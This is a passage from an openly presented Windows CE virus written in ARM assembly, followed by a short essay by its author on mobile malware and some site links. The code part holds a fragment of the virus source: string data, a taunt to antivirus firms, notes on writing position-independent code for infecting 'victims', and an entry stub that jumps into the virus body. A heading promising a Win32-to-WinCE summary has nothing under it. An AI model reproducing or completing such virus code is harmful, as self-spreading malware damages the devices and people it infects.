     DCB    "l", 0x0, "o", 0x0, "w", 0x0, "e", 0x0, "d", 0x0, " ", 0x0
     DCB    "t", 0x0, "o", 0x0, " ", 0x0, "s", 0x0, "p", 0x0, "r", 0x0
     DCB    "e", 0x0, "a", 0x0, "d", 0x0, "?", 0x0, 0x0, 0x0
     ALIGN    4

     ; Just a little greeting to AV firms :-)

     DCB    "This is proof of concept code. Also, i wanted to make avers happy."
     DCB    "The situation when Pocket PC antiviruses detect only EICAR file had"
     DCB    " to end ..."
     ALIGN    4

   ; LTORG is a very important pseudo instruction, which places the
   ; literal pool "at" the place of its presence. Because the ARM
   ; instruction length is hardcoded to 32 bits, it is not possible in
   ; one instruction to load the whole 32bit range into a register (there
   ; have to be bits to specify the opcode). That's why the literal
   ; pool was introduced, which in fact is just an array of 32bit values
   ; that are not possible to load. This data structure is later
   ; accessed with the aid of the PC (program counter) register that points
   ; to the currently executed instruction + 8 (+ 8 because ARM processors
   ; implement a 3 phase pipeline: execute, decode, fetch and the PC
   ; points not at the instruction being executed but at the instruction being
   ; fetched). An offset is added to PC so that the final pointer
   ; points to the right value in the literal pool.

   ; the pseudo instruction ldr rX, =<value> while compiling gets
   ; transformed to a mov instruction (if the value is in the range of
   ; valid values) or it allocates its place in the literal pool and becomes a
   ; ldr, rX, [pc, #<offset>]
   ; similarly adr and adrl instructions serve to loading addresses
   ; to register.

   ; this approach's advantage is that with minimal effort we can get
   ; position independent code from the compiler which allows our
   ; code to run wherever in the address space the loader will load us.


   ; the code after virus_end doesn't get copied to victims

WinMainCRTStartup PROC
   b     virus_code_start

   ; first generation entry point
   mvn    r0, #0
   mov    pc, lr
** virus_source_end **

Summary of differences when moving from Win32 to WinCE (from the virus writer's point of view):


Today's mobile devices are beginning to gain computing power and are becoming cheaper, thus allowing more people to buy them. That's why I assume that in the next five years we can expect many attacks against phones and PDAs. People wear mobile devices with them wherever they go (I do, anyway); they connect to the Net whenever they have the opportunity; they read email and browse the web. It's an ideal milieu for worms, computer viruses, and Trojan horses. I hope I've contributed at least a little (and in the future will contribute more) to improving the state of mobile device security.

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka